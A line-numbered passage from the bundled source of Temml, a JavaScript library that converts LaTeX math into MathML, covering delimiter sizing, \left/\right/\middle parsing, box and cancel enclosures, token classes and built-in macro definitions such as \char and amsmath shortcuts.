3912 "\\Bigm": { mclass: "mrel", size: 2 },
3913 "\\biggm": { mclass: "mrel", size: 3 },
3914 "\\Biggm": { mclass: "mrel", size: 4 },
3915 "\\big": { mclass: "mord", size: 1 },
3916 "\\Big": { mclass: "mord", size: 2 },
3917 "\\bigg": { mclass: "mord", size: 3 },
3918 "\\Bigg": { mclass: "mord", size: 4 }
3919};
3920
3921const delimiters = [
3922 "(",
3923 "\\lparen",
3924 ")",
3925 "\\rparen",
3926 "[",
3927 "\\lbrack",
3928 "]",
3929 "\\rbrack",
3930 "\\{",
3931 "\\lbrace",
3932 "\\}",
3933 "\\rbrace",
3934 "⦇",
3935 "\\llparenthesis",
3936 "⦈",
3937 "\\rrparenthesis",
3938 "\\lfloor",
3939 "\\rfloor",
3940 "\u230a",
3941 "\u230b",
3942 "\\lceil",
3943 "\\rceil",
3944 "\u2308",
3945 "\u2309",
3946 "<",
3947 ">",
3948 "\\langle",
3949 "\u27e8",
3950 "\\rangle",
3951 "\u27e9",
3952 "\\lAngle",
3953 "\u27ea",
3954 "\\rAngle",
3955 "\u27eb",
3956 "\\llangle",
3957 "⦉",
3958 "\\rrangle",
3959 "⦊",
3960 "\\lt",
3961 "\\gt",
3962 "\\lvert",
3963 "\\rvert",
3964 "\\lVert",
3965 "\\rVert",
3966 "\\lgroup",
3967 "\\rgroup",
3968 "\u27ee",
3969 "\u27ef",
3970 "\\lmoustache",
3971 "\\rmoustache",
3972 "\u23b0",
3973 "\u23b1",
3974 "\\llbracket",
3975 "\\rrbracket",
3976 "\u27e6",
3977 "\u27e6",
3978 "\\lBrace",
3979 "\\rBrace",
3980 "\u2983",
3981 "\u2984",
3982 "/",
3983 "\\backslash",
3984 "|",
3985 "\\vert",
3986 "\\|",
3987 "\\Vert",
3988 "\u2016",
3989 "\\uparrow",
3990 "\\Uparrow",
3991 "\\downarrow",
3992 "\\Downarrow",
3993 "\\updownarrow",
3994 "\\Updownarrow",
3995 "."
3996];
3997
3998// Export isDelimiter for benefit of parser.
3999const dels = ["}", "\\left", "\\middle", "\\right"];
4000const isDelimiter = str => str.length > 0 &&
4001 (delimiters.includes(str) || delimiterSizes[str] || dels.includes(str));
4002
4003// Metrics of the different sizes. Found by looking at TeX's output of
4004// $\bigl| // \Bigl| \biggl| \Biggl| \showlists$
4005// Used to create stacked delimiters of appropriate sizes in makeSizedDelim.
4006const sizeToMaxHeight = [0, 1.2, 1.8, 2.4, 3.0];
4007
4008// Delimiter functions
4009function checkDelimiter(delim, context) {
4010 const symDelim = checkSymbolNodeType(delim);
4011 if (symDelim && delimiters.includes(symDelim.text)) {
4012 // If a character is not in the MathML operator dictionary, it will not stretch.
4013 // Replace such characters w/characters that will stretch.
4014 if (["<", "\\lt"].includes(symDelim.text)) { symDelim.text = "⟨"; }
4015 if ([">", "\\gt"].includes(symDelim.text)) { symDelim.text = "⟩"; }
4016 return symDelim;
4017 } else if (symDelim) {
4018 throw new ParseError(`Invalid delimiter '${symDelim.text}' after '${context.funcName}'`, delim);
4019 } else {
4020 throw new ParseError(`Invalid delimiter type '${delim.type}'`, delim);
4021 }
4022}
4023
4024// / \
4025const needExplicitStretch = ["\u002F", "\u005C", "\\backslash", "\\vert", "|"];
4026
4027defineFunction({
4028 type: "delimsizing",
4029 names: [
4030 "\\bigl",
4031 "\\Bigl",
4032 "\\biggl",
4033 "\\Biggl",
4034 "\\bigr",
4035 "\\Bigr",
4036 "\\biggr",
4037 "\\Biggr",
4038 "\\bigm",
4039 "\\Bigm",
4040 "\\biggm",
4041 "\\Biggm",
4042 "\\big",
4043 "\\Big",
4044 "\\bigg",
4045 "\\Bigg"
4046 ],
4047 props: {
4048 numArgs: 1,
4049 argTypes: ["primitive"]
4050 },
4051 handler: (context, args) => {
4052 const delim = checkDelimiter(args[0], context);
4053
4054 return {
4055 type: "delimsizing",
4056 mode: context.parser.mode,
4057 size: delimiterSizes[context.funcName].size,
4058 mclass: delimiterSizes[context.funcName].mclass,
4059 delim: delim.text
4060 };
4061 },
4062 mathmlBuilder: (group) => {
4063 const children = [];
4064
4065 if (group.delim === ".") { group.delim = ""; }
4066 children.push(makeText(group.delim, group.mode));
4067
4068 const node = new mathMLTree.MathNode("mo", children);
4069
4070 if (group.mclass === "mopen" || group.mclass === "mclose") {
4071 // Only some of the delimsizing functions act as fences, and they
4072 // return "mopen" or "mclose" mclass.
4073 node.setAttribute("fence", "true");
4074 } else {
4075 // Explicitly disable fencing if it's not a fence, to override the
4076 // defaults.
4077 node.setAttribute("fence", "false");
4078 }
4079 if (needExplicitStretch.includes(group.delim) || group.delim.indexOf("arrow") > -1) {
4080 // We have to explicitly set stretchy to true.
4081 node.setAttribute("stretchy", "true");
4082 }
4083 node.setAttribute("symmetric", "true"); // Needed for tall arrows in Firefox.
4084 node.setAttribute("minsize", sizeToMaxHeight[group.size] + "em");
4085 node.setAttribute("maxsize", sizeToMaxHeight[group.size] + "em");
4086 return node;
4087 }
4088});
4089
4090function assertParsed(group) {
4091 if (!group.body) {
4092 throw new Error("Bug: The leftright ParseNode wasn't fully parsed.");
4093 }
4094}
4095
4096defineFunction({
4097 type: "leftright-right",
4098 names: ["\\right"],
4099 props: {
4100 numArgs: 1,
4101 argTypes: ["primitive"]
4102 },
4103 handler: (context, args) => {
4104 return {
4105 type: "leftright-right",
4106 mode: context.parser.mode,
4107 delim: checkDelimiter(args[0], context).text
4108 };
4109 }
4110});
4111
4112defineFunction({
4113 type: "leftright",
4114 names: ["\\left"],
4115 props: {
4116 numArgs: 1,
4117 argTypes: ["primitive"]
4118 },
4119 handler: (context, args) => {
4120 const delim = checkDelimiter(args[0], context);
4121
4122 const parser = context.parser;
4123 // Parse out the implicit body
4124 ++parser.leftrightDepth;
4125 // parseExpression stops before '\\right' or `\\middle`
4126 let body = parser.parseExpression(false, null, true);
4127 let nextToken = parser.fetch();
4128 while (nextToken.text === "\\middle") {
4129 // `\middle`, from the ε-TeX package, ends one group and starts another group.
4130 // We had to parse this expression with `breakOnMiddle` enabled in order
4131 // to get TeX-compliant parsing of \over.
4132 // But we do not want, at this point, to end on \middle, so continue
4133 // to parse until we fetch a `\right`.
4134 parser.consume();
4135 const middle = parser.fetch().text;
4136 if (!symbols.math[middle]) {
4137 throw new ParseError(`Invalid delimiter '${middle}' after '\\middle'`);
4138 }
4139 checkDelimiter({ type: "atom", mode: "math", text: middle }, { funcName: "\\middle" });
4140 body.push({ type: "middle", mode: "math", delim: middle });
4141 parser.consume();
4142 body = body.concat(parser.parseExpression(false, null, true));
4143 nextToken = parser.fetch();
4144 }
4145 --parser.leftrightDepth;
4146 // Check the next token
4147 parser.expect("\\right", false);
4148 const right = assertNodeType(parser.parseFunction(), "leftright-right");
4149 return {
4150 type: "leftright",
4151 mode: parser.mode,
4152 body,
4153 left: delim.text,
4154 right: right.delim
4155 };
4156 },
4157 mathmlBuilder: (group, style) => {
4158 assertParsed(group);
4159 const inner = buildExpression(group.body, style);
4160
4161 if (group.left === ".") { group.left = ""; }
4162 const leftNode = new mathMLTree.MathNode("mo", [makeText(group.left, group.mode)]);
4163 leftNode.setAttribute("fence", "true");
4164 leftNode.setAttribute("form", "prefix");
4165 if (group.left === "/" || group.left === "\u005C" || group.left.indexOf("arrow") > -1) {
4166 leftNode.setAttribute("stretchy", "true");
4167 }
4168 inner.unshift(leftNode);
4169
4170 if (group.right === ".") { group.right = ""; }
4171 const rightNode = new mathMLTree.MathNode("mo", [makeText(group.right, group.mode)]);
4172 rightNode.setAttribute("fence", "true");
4173 rightNode.setAttribute("form", "postfix");
4174 if (group.right === "\u2216" || group.right.indexOf("arrow") > -1) {
4175 rightNode.setAttribute("stretchy", "true");
4176 }
4177 if (group.body.length > 0) {
4178 const lastElement = group.body[group.body.length - 1];
4179 if (lastElement.type === "color" && !lastElement.isTextColor) {
4180 // \color is a switch. If the last element is of type "color" then
4181 // the user set the \color switch and left it on.
4182 // A \right delimiter turns the switch off, but the delimiter itself gets the color.
4183 rightNode.setAttribute("mathcolor", lastElement.color);
4184 }
4185 }
4186 inner.push(rightNode);
4187
4188 return makeRow(inner);
4189 }
4190});
4191
4192defineFunction({
4193 type: "middle",
4194 names: ["\\middle"],
4195 props: {
4196 numArgs: 1,
4197 argTypes: ["primitive"]
4198 },
4199 handler: (context, args) => {
4200 const delim = checkDelimiter(args[0], context);
4201 if (!context.parser.leftrightDepth) {
4202 throw new ParseError("\\middle without preceding \\left", delim);
4203 }
4204
4205 return {
4206 type: "middle",
4207 mode: context.parser.mode,
4208 delim: delim.text
4209 };
4210 },
4211 mathmlBuilder: (group, style) => {
4212 const textNode = makeText(group.delim, group.mode);
4213 const middleNode = new mathMLTree.MathNode("mo", [textNode]);
4214 middleNode.setAttribute("fence", "true");
4215 if (group.delim.indexOf("arrow") > -1) {
4216 middleNode.setAttribute("stretchy", "true");
4217 }
4218 // The next line is not semantically correct, but
4219 // Chromium fails to stretch if it is not there.
4220 middleNode.setAttribute("form", "prefix");
4221 // MathML gives 5/18em spacing to each <mo> element.
4222 // \middle should get delimiter spacing instead.
4223 middleNode.setAttribute("lspace", "0.05em");
4224 middleNode.setAttribute("rspace", "0.05em");
4225 return middleNode;
4226 }
4227});
4228
4229const padding$1 = _ => {
4230 const node = new mathMLTree.MathNode("mspace");
4231 node.setAttribute("width", "3pt");
4232 return node
4233};
4234
4235const mathmlBuilder$8 = (group, style) => {
4236 let node;
4237 if (group.label.indexOf("colorbox") > -1 || group.label === "\\boxed") {
4238 // MathML core does not support +width attribute in <mpadded>.
4239 // Firefox does not reliably add side padding.
4240 // Insert <mspace>
4241 node = new mathMLTree.MathNode("mrow", [
4242 padding$1(),
4243 buildGroup$1(group.body, style),
4244 padding$1()
4245 ]);
4246 } else {
4247 node = new mathMLTree.MathNode("menclose", [buildGroup$1(group.body, style)]);
4248 }
4249 switch (group.label) {
4250 case "\\overline":
4251 node.setAttribute("notation", "top"); // for Firefox & WebKit
4252 node.classes.push("tml-overline"); // for Chromium
4253 break
4254 case "\\underline":
4255 node.setAttribute("notation", "bottom");
4256 node.classes.push("tml-underline");
4257 break
4258 case "\\cancel":
4259 node.setAttribute("notation", "updiagonalstrike");
4260 node.children.push(new mathMLTree.MathNode("mrow", [], ["tml-cancel", "upstrike"]));
4261 break
4262 case "\\bcancel":
4263 node.setAttribute("notation", "downdiagonalstrike");
4264 node.children.push(new mathMLTree.MathNode("mrow", [], ["tml-cancel", "downstrike"]));
4265 break
4266 case "\\sout":
4267 node.setAttribute("notation", "horizontalstrike");
4268 node.children.push(new mathMLTree.MathNode("mrow", [], ["tml-cancel", "sout"]));
4269 break
4270 case "\\xcancel":
4271 node.setAttribute("notation", "updiagonalstrike downdiagonalstrike");
4272 node.classes.push("tml-xcancel");
4273 break
4274 case "\\longdiv":
4275 node.setAttribute("notation", "longdiv");
4276 node.classes.push("longdiv-top");
4277 node.children.push(new mathMLTree.MathNode("mrow", [], ["longdiv-arc"]));
4278 break
4279 case "\\phase":
4280 node.setAttribute("notation", "phasorangle");
4281 node.classes.push("phasor-bottom");
4282 node.children.push(new mathMLTree.MathNode("mrow", [], ["phasor-angle"]));
4283 break
4284 case "\\textcircled":
4285 node.setAttribute("notation", "circle");
4286 node.classes.push("circle-pad");
4287 node.children.push(new mathMLTree.MathNode("mrow", [], ["textcircle"]));
4288 break
4289 case "\\angl":
4290 node.setAttribute("notation", "actuarial");
4291 node.classes.push("actuarial");
4292 break
4293 case "\\boxed":
4294 // \newcommand{\boxed}[1]{\fbox{\m@th$\displaystyle#1$}} from amsmath.sty
4295 node.setAttribute("notation", "box");
4296 node.classes.push("tml-box");
4297 node.setAttribute("scriptlevel", "0");
4298 node.setAttribute("displaystyle", "true");
4299 break
4300 case "\\fbox":
4301 node.setAttribute("notation", "box");
4302 node.classes.push("tml-fbox");
4303 break
4304 case "\\fcolorbox":
4305 case "\\colorbox": {
4306 // <menclose> doesn't have a good notation option for \colorbox.
4307 // So use <mpadded> instead. Set some attributes that come
4308 // included with <menclose>.
4309 //const fboxsep = 3; // 3 pt from LaTeX source2e
4310 //node.setAttribute("height", `+${2 * fboxsep}pt`)
4311 //node.setAttribute("voffset", `${fboxsep}pt`)
4312 const style = { padding: "3pt 0 3pt 0" };
4313
4314 if (group.label === "\\fcolorbox") {
4315 style.border = "0.0667em solid " + String(group.borderColor);
4316 }
4317 node.style = style;
4318 break
4319 }
4320 }
4321 if (group.backgroundColor) {
4322 node.setAttribute("mathbackground", group.backgroundColor);
4323 }
4324 return node;
4325};
4326
4327defineFunction({
4328 type: "enclose",
4329 names: ["\\colorbox"],
4330 props: {
4331 numArgs: 2,
4332 numOptionalArgs: 1,
4333 allowedInText: true,
4334 argTypes: ["raw", "raw", "text"]
4335 },
4336 handler({ parser, funcName }, args, optArgs) {
4337 const model = optArgs[0] && assertNodeType(optArgs[0], "raw").string;
4338 let color = "";
4339 if (model) {
4340 const spec = assertNodeType(args[0], "raw").string;
4341 color = colorFromSpec(model, spec);
4342 } else {
4343 color = validateColor(assertNodeType(args[0], "raw").string, parser.gullet.macros);
4344 }
4345 const body = args[1];
4346 return {
4347 type: "enclose",
4348 mode: parser.mode,
4349 label: funcName,
4350 backgroundColor: color,
4351 body
4352 };
4353 },
4354 mathmlBuilder: mathmlBuilder$8
4355});
4356
4357defineFunction({
4358 type: "enclose",
4359 names: ["\\fcolorbox"],
4360 props: {
4361 numArgs: 3,
4362 numOptionalArgs: 1,
4363 allowedInText: true,
4364 argTypes: ["raw", "raw", "raw", "text"]
4365 },
4366 handler({ parser, funcName }, args, optArgs) {
4367 const model = optArgs[0] && assertNodeType(optArgs[0], "raw").string;
4368 let borderColor = "";
4369 let backgroundColor;
4370 if (model) {
4371 const borderSpec = assertNodeType(args[0], "raw").string;
4372 const backgroundSpec = assertNodeType(args[0], "raw").string;
4373 borderColor = colorFromSpec(model, borderSpec);
4374 backgroundColor = colorFromSpec(model, backgroundSpec);
4375 } else {
4376 borderColor = validateColor(assertNodeType(args[0], "raw").string, parser.gullet.macros);
4377 backgroundColor = validateColor(assertNodeType(args[1], "raw").string, parser.gullet.macros);
4378 }
4379 const body = args[2];
4380 return {
4381 type: "enclose",
4382 mode: parser.mode,
4383 label: funcName,
4384 backgroundColor,
4385 borderColor,
4386 body
4387 };
4388 },
4389 mathmlBuilder: mathmlBuilder$8
4390});
4391
4392defineFunction({
4393 type: "enclose",
4394 names: ["\\fbox"],
4395 props: {
4396 numArgs: 1,
4397 argTypes: ["hbox"],
4398 allowedInText: true
4399 },
4400 handler({ parser }, args) {
4401 return {
4402 type: "enclose",
4403 mode: parser.mode,
4404 label: "\\fbox",
4405 body: args[0]
4406 };
4407 }
4408});
4409
4410defineFunction({
4411 type: "enclose",
4412 names: ["\\angl", "\\cancel", "\\bcancel", "\\xcancel", "\\sout", "\\overline",
4413 "\\boxed", "\\longdiv", "\\phase"],
4414 props: {
4415 numArgs: 1
4416 },
4417 handler({ parser, funcName }, args) {
4418 const body = args[0];
4419 return {
4420 type: "enclose",
4421 mode: parser.mode,
4422 label: funcName,
4423 body
4424 };
4425 },
4426 mathmlBuilder: mathmlBuilder$8
4427});
4428
4429defineFunction({
4430 type: "enclose",
4431 names: ["\\underline"],
4432 props: {
4433 numArgs: 1,
4434 allowedInText: true
4435 },
4436 handler({ parser, funcName }, args) {
4437 const body = args[0];
4438 return {
4439 type: "enclose",
4440 mode: parser.mode,
4441 label: funcName,
4442 body
4443 };
4444 },
4445 mathmlBuilder: mathmlBuilder$8
4446});
4447
4448
4449defineFunction({
4450 type: "enclose",
4451 names: ["\\textcircled"],
4452 props: {
4453 numArgs: 1,
4454 argTypes: ["text"],
4455 allowedInArgument: true,
4456 allowedInText: true
4457 },
4458 handler({ parser, funcName }, args) {
4459 const body = args[0];
4460 return {
4461 type: "enclose",
4462 mode: parser.mode,
4463 label: funcName,
4464 body
4465 };
4466 },
4467 mathmlBuilder: mathmlBuilder$8
4468});
4469
4470/**
4471 * All registered environments.
4472 * `environments.js` exports this same dictionary again and makes it public.
4473 * `Parser.js` requires this dictionary via `environments.js`.
4474 */
4475const _environments = {};
4476
4477function defineEnvironment({ type, names, props, handler, mathmlBuilder }) {
4478 // Set default values of environments.
4479 const data = {
4480 type,
4481 numArgs: props.numArgs || 0,
4482 allowedInText: false,
4483 numOptionalArgs: 0,
4484 handler
4485 };
4486 for (let i = 0; i < names.length; ++i) {
4487 _environments[names[i]] = data;
4488 }
4489 if (mathmlBuilder) {
4490 _mathmlGroupBuilders[type] = mathmlBuilder;
4491 }
4492}
4493
4494/**
4495 * Lexing or parsing positional information for error reporting.
4496 * This object is immutable.
4497 */
4498class SourceLocation {
4499 constructor(lexer, start, end) {
4500 this.lexer = lexer; // Lexer holding the input string.
4501 this.start = start; // Start offset, zero-based inclusive.
4502 this.end = end; // End offset, zero-based exclusive.
4503 }
4504
4505 /**
4506 * Merges two `SourceLocation`s from location providers, given they are
4507 * provided in order of appearance.
4508 * - Returns the first one's location if only the first is provided.
4509 * - Returns a merged range of the first and the last if both are provided
4510 * and their lexers match.
4511 * - Otherwise, returns null.
4512 */
4513 static range(first, second) {
4514 if (!second) {
4515 return first && first.loc;
4516 } else if (!first || !first.loc || !second.loc || first.loc.lexer !== second.loc.lexer) {
4517 return null;
4518 } else {
4519 return new SourceLocation(first.loc.lexer, first.loc.start, second.loc.end);
4520 }
4521 }
4522}
4523
4524/**
4525 * Interface required to break circular dependency between Token, Lexer, and
4526 * ParseError.
4527 */
4528
4529/**
4530 * The resulting token returned from `lex`.
4531 *
4532 * It consists of the token text plus some position information.
4533 * The position information is essentially a range in an input string,
4534 * but instead of referencing the bare input string, we refer to the lexer.
4535 * That way it is possible to attach extra metadata to the input string,
4536 * like for example a file name or similar.
4537 *
4538 * The position information is optional, so it is OK to construct synthetic
4539 * tokens if appropriate. Not providing available position information may
4540 * lead to degraded error reporting, though.
4541 */
4542class Token {
4543 constructor(
4544 text, // the text of this token
4545 loc
4546 ) {
4547 this.text = text;
4548 this.loc = loc;
4549 }
4550
4551 /**
4552 * Given a pair of tokens (this and endToken), compute a `Token` encompassing
4553 * the whole input range enclosed by these two.
4554 */
4555 range(
4556 endToken, // last token of the range, inclusive
4557 text // the text of the newly constructed token
4558 ) {
4559 return new Token(text, SourceLocation.range(this, endToken));
4560 }
4561}
4562
4563// In TeX, there are actually three sets of dimensions, one for each of
4564// textstyle, scriptstyle, and scriptscriptstyle. These are
4565// provided in the the arrays below, in that order.
4566//
4567
4568// Math style is not quite the same thing as script level.
4569const StyleLevel = {
4570 DISPLAY: 0,
4571 TEXT: 1,
4572 SCRIPT: 2,
4573 SCRIPTSCRIPT: 3
4574};
4575
4576/**
4577 * All registered global/built-in macros.
4578 * `macros.js` exports this same dictionary again and makes it public.
4579 * `Parser.js` requires this dictionary via `macros.js`.
4580 */
4581const _macros = {};
4582
4583// This function might one day accept an additional argument and do more things.
4584function defineMacro(name, body) {
4585 _macros[name] = body;
4586}
4587
4588/**
4589 * Predefined macros for Temml.
4590 * This can be used to define some commands in terms of others.
4591 */
4592
4593const macros = _macros;
4594
4595//////////////////////////////////////////////////////////////////////
4596// macro tools
4597
4598defineMacro("\\noexpand", function(context) {
4599 // The expansion is the token itself; but that token is interpreted
4600 // as if its meaning were ‘\relax’ if it is a control sequence that
4601 // would ordinarily be expanded by TeX’s expansion rules.
4602 const t = context.popToken();
4603 if (context.isExpandable(t.text)) {
4604 t.noexpand = true;
4605 t.treatAsRelax = true;
4606 }
4607 return { tokens: [t], numArgs: 0 };
4608});
4609
4610defineMacro("\\expandafter", function(context) {
4611 // TeX first reads the token that comes immediately after \expandafter,
4612 // without expanding it; let’s call this token t. Then TeX reads the
4613 // token that comes after t (and possibly more tokens, if that token
4614 // has an argument), replacing it by its expansion. Finally TeX puts
4615 // t back in front of that expansion.
4616 const t = context.popToken();
4617 context.expandOnce(true); // expand only an expandable token
4618 return { tokens: [t], numArgs: 0 };
4619});
4620
4621// LaTeX's \@firstoftwo{#1}{#2} expands to #1, skipping #2
4622// TeX source: \long\def\@firstoftwo#1#2{#1}
4623defineMacro("\\@firstoftwo", function(context) {
4624 const args = context.consumeArgs(2);
4625 return { tokens: args[0], numArgs: 0 };
4626});
4627
4628// LaTeX's \@secondoftwo{#1}{#2} expands to #2, skipping #1
4629// TeX source: \long\def\@secondoftwo#1#2{#2}
4630defineMacro("\\@secondoftwo", function(context) {
4631 const args = context.consumeArgs(2);
4632 return { tokens: args[1], numArgs: 0 };
4633});
4634
4635// LaTeX's \@ifnextchar{#1}{#2}{#3} looks ahead to the next (unexpanded)
4636// symbol that isn't a space, consuming any spaces but not consuming the
4637// first nonspace character. If that nonspace character matches #1, then
4638// the macro expands to #2; otherwise, it expands to #3.
4639defineMacro("\\@ifnextchar", function(context) {
4640 const args = context.consumeArgs(3); // symbol, if, else
4641 context.consumeSpaces();
4642 const nextToken = context.future();
4643 if (args[0].length === 1 && args[0][0].text === nextToken.text) {
4644 return { tokens: args[1], numArgs: 0 };
4645 } else {
4646 return { tokens: args[2], numArgs: 0 };
4647 }
4648});
4649
4650// LaTeX's \@ifstar{#1}{#2} looks ahead to the next (unexpanded) symbol.
4651// If it is `*`, then it consumes the symbol, and the macro expands to #1;
4652// otherwise, the macro expands to #2 (without consuming the symbol).
4653// TeX source: \def\@ifstar#1{\@ifnextchar *{\@firstoftwo{#1}}}
4654defineMacro("\\@ifstar", "\\@ifnextchar *{\\@firstoftwo{#1}}");
4655
4656// LaTeX's \TextOrMath{#1}{#2} expands to #1 in text mode, #2 in math mode
4657defineMacro("\\TextOrMath", function(context) {
4658 const args = context.consumeArgs(2);
4659 if (context.mode === "text") {
4660 return { tokens: args[0], numArgs: 0 };
4661 } else {
4662 return { tokens: args[1], numArgs: 0 };
4663 }
4664});
4665
4666const stringFromArg = arg => {
4667 // Reverse the order of the arg and return a string.
4668 let str = "";
4669 for (let i = arg.length - 1; i > -1; i--) {
4670 str += arg[i].text;
4671 }
4672 return str
4673};
4674
4675// Lookup table for parsing numbers in base 8 through 16
4676const digitToNumber = {
4677 0: 0,
4678 1: 1,
4679 2: 2,
4680 3: 3,
4681 4: 4,
4682 5: 5,
4683 6: 6,
4684 7: 7,
4685 8: 8,
4686 9: 9,
4687 a: 10,
4688 A: 10,
4689 b: 11,
4690 B: 11,
4691 c: 12,
4692 C: 12,
4693 d: 13,
4694 D: 13,
4695 e: 14,
4696 E: 14,
4697 f: 15,
4698 F: 15
4699};
4700
4701const nextCharNumber = context => {
4702 const numStr = context.future().text;
4703 if (numStr === "EOF") { return [null, ""] }
4704 return [digitToNumber[numStr.charAt(0)], numStr]
4705};
4706
4707const appendCharNumbers = (number, numStr, base) => {
4708 for (let i = 1; i < numStr.length; i++) {
4709 const digit = digitToNumber[numStr.charAt(i)];
4710 number *= base;
4711 number += digit;
4712 }
4713 return number
4714};
4715
4716// TeX \char makes a literal character (catcode 12) using the following forms:
4717// (see The TeXBook, p. 43)
4718// \char123 -- decimal
4719// \char'123 -- octal
4720// \char"123 -- hex
4721// \char`x -- character that can be written (i.e. isn't active)
4722// \char`\x -- character that cannot be written (e.g. %)
4723// These all refer to characters from the font, so we turn them into special
4724// calls to a function \@char dealt with in the Parser.
4725defineMacro("\\char", function(context) {
4726 let token = context.popToken();
4727 let base;
4728 let number = "";
4729 if (token.text === "'") {
4730 base = 8;
4731 token = context.popToken();
4732 } else if (token.text === '"') {
4733 base = 16;
4734 token = context.popToken();
4735 } else if (token.text === "`") {
4736 token = context.popToken();
4737 if (token.text[0] === "\\") {
4738 number = token.text.charCodeAt(1);
4739 } else if (token.text === "EOF") {
4740 throw new ParseError("\\char` missing argument");
4741 } else {
4742 number = token.text.charCodeAt(0);
4743 }
4744 } else {
4745 base = 10;
4746 }
4747 if (base) {
4748 // Parse a number in the given base, starting with first `token`.
4749 let numStr = token.text;
4750 number = digitToNumber[numStr.charAt(0)];
4751 if (number == null || number >= base) {
4752 throw new ParseError(`Invalid base-${base} digit ${token.text}`);
4753 }
4754 number = appendCharNumbers(number, numStr, base);
4755 let digit;
4756 [digit, numStr] = nextCharNumber(context);
4757 while (digit != null && digit < base) {
4758 number *= base;
4759 number += digit;
4760 number = appendCharNumbers(number, numStr, base);
4761 context.popToken();
4762 [digit, numStr] = nextCharNumber(context);
4763 }
4764 }
4765 return `\\@char{${number}}`;
4766});
4767
4768function recreateArgStr(context) {
4769 // Recreate the macro's original argument string from the array of parse tokens.
4770 const tokens = context.consumeArgs(1)[0];
4771 let str = "";
4772 let expectedLoc = tokens[tokens.length - 1].loc.start;
4773 for (let i = tokens.length - 1; i >= 0; i--) {
4774 const actualLoc = tokens[i].loc.start;
4775 if (actualLoc > expectedLoc) {
4776 // context.consumeArgs has eaten a space.
4777 str += " ";
4778 expectedLoc = actualLoc;
4779 }
4780 str += tokens[i].text;
4781 expectedLoc += tokens[i].text.length;
4782 }
4783 return str
4784}
4785
4786// The Latin Modern font renders <mi>√</mi> at the wrong vertical alignment.
4787// This macro provides a better rendering.
4788defineMacro("\\surd", '\\sqrt{\\vphantom{|}}');
4789
4790// See comment for \oplus in symbols.js.
4791defineMacro("\u2295", "\\oplus");
4792
4793// Since Temml has no \par, ignore \long.
4794defineMacro("\\long", "");
4795
4796//////////////////////////////////////////////////////////////////////
4797// Grouping
4798// \let\bgroup={ \let\egroup=}
4799defineMacro("\\bgroup", "{");
4800defineMacro("\\egroup", "}");
4801
4802// Symbols from latex.ltx:
4803// \def~{\nobreakspace{}}
4804// \def\lq{`}
4805// \def\rq{'}
4806// \def \aa {\r a}
4807defineMacro("~", "\\nobreakspace");
4808defineMacro("\\lq", "`");
4809defineMacro("\\rq", "'");
4810defineMacro("\\aa", "\\r a");
4811
4812defineMacro("\\Bbbk", "\\Bbb{k}");
4813
4814// \mathstrut from the TeXbook, p 360
4815defineMacro("\\mathstrut", "\\vphantom{(}");
4816
4817// \underbar from TeXbook p 353
4818defineMacro("\\underbar", "\\underline{\\text{#1}}");
4819
4820//////////////////////////////////////////////////////////////////////
4821// LaTeX_2ε
4822
4823// \vdots{\vbox{\baselineskip4\p@ \lineskiplimit\z@
4824// \kern6\p@\hbox{.}\hbox{.}\hbox{.}}}
4825// We'll call \varvdots, which gets a glyph from symbols.js.
4826// The zero-width rule gets us an equivalent to the vertical 6pt kern.
4827defineMacro("\\vdots", "{\\varvdots\\rule{0pt}{15pt}}");
4828defineMacro("\u22ee", "\\vdots");
4829
4830// {array} environment gaps
4831defineMacro("\\arraystretch", "1"); // line spacing factor times 12pt
4832defineMacro("\\arraycolsep", "6pt"); // half the width separating columns
4833
4834//////////////////////////////////////////////////////////////////////
4835// amsmath.sty
4836// http://mirrors.concertpass.com/tex-archive/macros/latex/required/amsmath/amsmath.pdf
4837
4838//\newcommand{\substack}[1]{\subarray{c}#1\endsubarray}
4839defineMacro("\\substack", "\\begin{subarray}{c}#1\\end{subarray}");
4840
4841// \def\iff{\DOTSB\;\Longleftrightarrow\;}
4842// \def\implies{\DOTSB\;\Longrightarrow\;}
4843// \def\impliedby{\DOTSB\;\Longleftarrow\;}
4844defineMacro("\\iff", "\\DOTSB\\;\\Longleftrightarrow\\;");
4845defineMacro("\\implies", "\\DOTSB\\;\\Longrightarrow\\;");
4846defineMacro("\\impliedby", "\\DOTSB\\;\\Longleftarrow\\;");
4847
4848// AMSMath's automatic \dots, based on \mdots@@ macro.
4849const dotsByToken = {
4850 ",": "\\dotsc",
4851 "\\not": "\\dotsb",
4852 // \keybin@ checks for the following:
4853 "+": "\\dotsb",
4854 "=": "\\dotsb",
4855 "<": "\\dotsb",
4856 ">": "\\dotsb",
4857 "-": "\\dotsb",
4858 "*": "\\dotsb",
4859 ":": "\\dotsb",
4860 // Symbols whose definition starts with \DOTSB:
4861 "\\DOTSB": "\\dotsb",
4862 "\\coprod": "\\dotsb",
4863 "\\bigvee": "\\dotsb",
4864 "\\bigwedge": "\\dotsb",
4865 "\\biguplus": "\\dotsb",
4866 "\\bigcap": "\\dotsb",
4867 "\\bigcup": "\\dotsb",
4868 "\\prod": "\\dotsb",
4869 "\\sum": "\\dotsb",
4870 "\\bigotimes": "\\dotsb",
4871 "\\bigoplus": "\\dotsb",
4872 "\\bigodot": "\\dotsb",
4873 "\\bigsqcap": "\\dotsb",
4874 "\\bigsqcup": "\\dotsb",
4875 "\\bigtimes": "\\dotsb",
4876 "\\And": "\\dotsb",
4877 "\\longrightarrow": "\\dotsb",
4878 "\\Longrightarrow": "\\dotsb",
4879 "\\longleftarrow": "\\dotsb",
4880 "\\Longleftarrow": "\\dotsb",
4881 "\\longleftrightarrow": "\\dotsb",
4882 "\\Longleftrightarrow": "\\dotsb",
4883 "\\mapsto": "\\dotsb",
4884 "\\longmapsto": "\\dotsb",
4885 "\\hookrightarrow": "\\dotsb",
4886 "\\doteq": "\\dotsb",
4887 // Symbols whose definition starts with \mathbin:
4888 "\\mathbin": "\\dotsb",
4889 // Symbols whose definition starts with \mathrel:
4890 "\\mathrel": "\\dotsb",
4891 "\\relbar": "\\dotsb",
4892 "\\Relbar": "\\dotsb",
4893 "\\xrightarrow": "\\dotsb",
4894 "\\xleftarrow": "\\dotsb",
4895 // Symbols whose definition starts with \DOTSI:
4896 "\\DOTSI": "\\dotsi",
4897 "\\int": "\\dotsi",
4898 "\\oint": "\\dotsi",
4899 "\\iint": "\\dotsi",
4900 "\\iiint": "\\dotsi",
4901 "\\iiiint": "\\dotsi",
4902 "\\idotsint": "\\dotsi",
4903 // Symbols whose definition starts with \DOTSX:
4904 "\\DOTSX": "\\dotsx"
4905};
4906
4907defineMacro("\\dots", function(context) {
4908 // TODO: If used in text mode, should expand to \textellipsis.
4909 // However, in Temml, \textellipsis and \ldots behave the same
